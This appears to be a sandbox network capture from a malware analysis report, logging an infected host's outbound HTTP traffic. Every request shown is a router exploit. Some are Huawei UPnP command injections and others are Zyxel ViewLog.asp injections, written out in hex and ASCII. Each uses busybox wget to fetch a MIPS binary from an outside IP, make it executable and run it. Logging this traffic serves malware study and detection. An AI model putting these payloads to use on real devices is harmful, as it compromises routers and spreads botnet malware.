Nov 23, 2023 05:18:00.117532015 CET	396	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.15.1 Date: Thu, 23 Nov 2023 04:17:59 GMT Content-Type: text/html Content-Length: 173 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 35 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.15.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.13	41830	41.232.4.189	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:59.977741957 CET	886	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:00.291030884 CET	236	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.13	59406	94.190.212.214	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:00.514384031 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:07.270195961 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:07.584368944 CET	137	IN	HTTP/1.1 404 Not Found Connection: close Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.13	34678	156.247.27.41	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:00.564435005 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:02.214293957 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:04.166201115 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:08.038209915 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:15.974173069 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.13	34842	94.24.37.211	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:00.667743921 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.13	37082	94.123.247.31	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:00.682099104 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.13	45172	85.242.199.34	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:00.701564074 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.13	38410	94.123.183.61	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:00.709266901 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.966242075 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.110198975 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * 